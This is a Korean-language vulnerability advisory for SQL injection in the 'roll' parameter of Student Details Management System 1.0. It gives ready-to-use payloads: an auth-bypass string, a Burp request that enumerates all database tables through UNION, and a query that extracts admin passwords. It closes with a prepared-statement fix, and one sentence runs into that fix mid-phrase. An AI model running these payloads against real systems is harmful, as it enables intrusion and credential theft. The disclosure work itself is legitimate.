
Student Details Management System 1.0의 인증되지 않은 SQL 인젝션에 대한 개념 증명으로, UNION 기반 데이터 추출 및 자격 증명 탈취를 시연합니다.
| 필드 | 세부 정보 |
|---|
| 제품 | Student Details Management System |
| 공급업체 | code-projects.org |
| 버전 | 1.0 |
| 취약점 유형 | SQL 인젝션 (CWE-89) |
| CVE ID | 대기 중 |
| CVSS 점수 | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 인증 필요 여부 | 아니요 |
| 영향받는 파일 | /SMS/index.php |
| 취약한 매개변수 | roll (POST) |
Student Details Management System 1.0의 index.php 파일에 심각한 SQL 인젝션 취약점이 존재합니다. POST 요청을 통해 전달되는 roll 매개변수는 어떠한 살균 처리, 입력 검증 또는 준비된 문(Prepared Statement) 사용 없이 원시 SQL 쿼리에 직접 연결됩니다. 이를 통해 인증되지 않은 원격 공격자가 임의의 SQL을 주입하고 UNION 기반 데이터 추출을 수행하여 자격 증명 테이블을 포함한 전체 데이터베이스 서버를 덤프할 수 있습니다.
이 취약점은 공개된 학생 검색 양식에 존재하며 인증이 전혀 필요하지 않습니다.
파일: index.php (51~59행)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
$Standard와 $RollNo 모두 이스케이프 처리나 매개변수화 없이 $_POST에서 직접 가져옵니다. 공격자는 roll 매개변수를 제어하여 SQL 문자열 컨텍스트를 벗어나 임의의 쿼리를 주입할 수 있습니다.
애플리케이션 홈페이지로 이동하여 유효한 학번을 입력합니다:
http://<TARGET>/SMS/index.php
학번 필드에 1001을 입력 → 애플리케이션이 학생 기록을 정상적으로 반환합니다.

학번 필드에 작은따옴표 '를 입력하고 SHOW INFO를 클릭합니다.
결과: MariaDB가 원시 SQL 쿼리와 파일 경로를 노출하는 치명적인 오류를 발생시킵니다:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59

페이로드:
' or 1=1 -- -
결과: 유효한 학번 없이도 데이터베이스의 모든 학생 기록이 반환되어 인젝션이 악용 가능함을 확인합니다.

Burp Suite 요청:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
결과: name 열(UNION의 3번째 위치)이 MySQL 인스턴스의 모든 데이터베이스에 걸쳐 모든 테이블 이름을 반영합니다 — 동일한 XAMPP 인스턴스에 설치된 여러 다른 애플리케이션의 admin, global_priv, users, mysql.user 및 자격 증명 테이블을 포함합니다.

덤프 결과 동일한 서버의 다른 데이터베이스에서 admin, users, global_priv, tbl_admin을 포함한 민감한 테이블이 드러납니다. 공격자는 다음을 통해 자격 증명을 추출할 수 있습니다:
roll=1' union select null,null,password,null,null,null,null from admin-- -
상세 오류 출력(2단계)과 결합하여 전체 파일 경로 노출도 확인됩니다:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
admin 테이블 덤프를 통해 가능바인딩 매개변수가 있는 준비된 문(Prepared Statement)을 사용합니다:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
또한 프로덕션 환경에서는 php.ini에서 display_errors = Off를 설정하여 상세 PHP/MySQL 오류 출력을 비활성화합니다.
연구원: Imad Alvi